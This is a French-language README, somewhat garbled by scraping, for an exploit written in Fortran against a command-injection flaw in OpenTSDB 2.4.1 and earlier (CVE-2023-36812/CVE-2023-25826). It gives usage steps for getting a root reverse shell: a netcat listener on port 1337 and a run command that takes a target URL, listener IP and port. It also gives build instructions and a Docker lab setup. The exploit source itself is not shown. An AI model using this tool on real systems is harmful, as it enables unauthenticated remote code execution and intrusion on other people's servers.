Un exploit pour OpenTSDB <= 2.4.1 injection de commandes (CVE-2023-36812/CVE-2023-25826) écrit en Fortran
Un exploit pour OpenTSDB <= 2.4.1 injection de commande (CVE-2023-36812/CVE-2023-25826) écrit en Fortran
Ceci est un exploit pour une vulnérabilité d'injection de commande dans OpenTSDB versions 2.4.1 et antérieures (CVE-2023-36812/CVE-2023-25826). L'exploit est écrit en Fortran moderne et utilise la bibliothèque http-client officielle de Fortran créée plus tôt cette année.
OpenTSDB est une base de données de séries temporelles open source écrite en Java. En 2020, une vulnérabilité d'injection de commande a été découverte dans les versions 2.4.0 et antérieures, pouvant être exploitée pour obtenir une exécution de code à distance sur l'hôte avec les privilèges root. OpenTSDB ne prenant pas en charge l'authentification, cette vulnérabilité, suivie sous la référence CVE-2020-35476, pouvait être exploitée par toute personne ayant accès à l'interface web d'OpenTSDB. Le problème a été corrigé dans la version 2.4.1.
Cette année, il a été découvert que le correctif de CVE-2020-35476 était incomplet, et l'injection de commande est toujours possible dans OpenTSDB 2.4.1 via plusieurs vecteurs.
Détails :
Pour faire court, j'ai vu cette conversation :

L'idée d'écrire un exploit dans le langage de programmation utilisé pour envoyer des humains sur la Lune m'a tellement intrigué que j'ai dû l'explorer moi-même. Cet exploit est le résultat de cette expérience. À la question de savoir si cela a été un succès, je ne peux répondre qu'avec ces mots sages, mais maudits, qui lient tous les développeurs par le sang : Ça marche sur ma machine. ¯\(ツ)/¯
En tout cas, mes principaux enseignements de ce projet sont :
Dans l'ensemble, il est difficile d'imaginer que ce langage gagne réellement en importance dans la sécurité offensive, ne serait-ce que parce qu'il existe tellement d'alternatives solides et modernes pour tous les cas d'utilisation imaginables (Python, Go, Rust, Ruby, C# pour n'en citer que quelques-uns). Mais si vous aimez expérimenter avec différents langages de programmation et que cela ne vous dérange pas d'encapsuler vos chaînes de caractères dans des appels trim() en permanence (VEUILLEZ NOTER CECI, VOUS ÉVITEREZ TANT DE SOUFFRANCES), Fortran vaut absolument le détour. Je suis sincèrement en train de soutenir ce langage maintenant et je pourrais y revenir s'ils continuent d'ajouter des fonctionnalités à la bibliothèque http-client, surtout s'ils ajoutent une bibliothèque http-server à un moment donné.
TL;DR : La bibliothèque Fortran http-client fait brr.
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /chemin/vers/opentsdb_key_cmd_injection/
fpm (assurez-vous de l'avoir installé d'abord. Voir les instructions d'installation dans la section suivante)# /chemin/vers/fpm run -- -t <url_cible> -l <ip_locale> -p <port_local> [-v]
Options :
-t - URL CIBLE : l'URL de base vers OpenTSDB (obligatoire)-l - LHOST : l'IP du système où vous exécutez un écouteur (obligatoire)-p - LPORT : le port de l'écouteur (obligatoire)-v - VERBOSE : activer l'affichage détaillé (optionnel)gfortran. Sur les systèmes basés sur Debian, cela peut être fait via :apt install gfortran
chmod +x /<chemin>/vers/fpm
Assurez-vous d'avoir git installé sur votre système avant d'installer fpm.
Pour une installation manuelle, vous pouvez suivre les instructions d'installation officielles ici. Cela peut toutefois être fastidieux, je recommande donc d'utiliser Docker à la place.
Pour la version 2.4.0, vous pouvez utiliser l'image Docker vulnhub et suivre les instructions d'installation ici. Cette image a été créée pour CVE-2020-35476, une vulnérabilité plus ancienne dans OpenTSDB jusqu'à la version 2.4.0.
Pour la version 2.4.1 et probablement toute autre version, vous pouvez utiliser l'image vulhub pour OpenTSDB 2.4.0 et la modifier pour installer la version souhaitée. J'ai suivi cette approche pour la 2.4.1 et cela a très bien fonctionné.
Dockerfile et docker-entrypoint.sh d'OpenTSDB 2.4.0 de vulhub ici et stockez-les dans un répertoire dédié.Dockerfile, remplacez toutes les occurrences de 2.4.0 par la version souhaitée, par exemple 2.4.1docker-entrypoint.shdocker-compose.yml avec le contenu suivant :version: '2'
services:
opentsdb:
build: ./chemin-vers-votre-repertoire-dockerfile
ports:
- "4242:4242"
J'ai utilisé cette structure de fichiers :
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file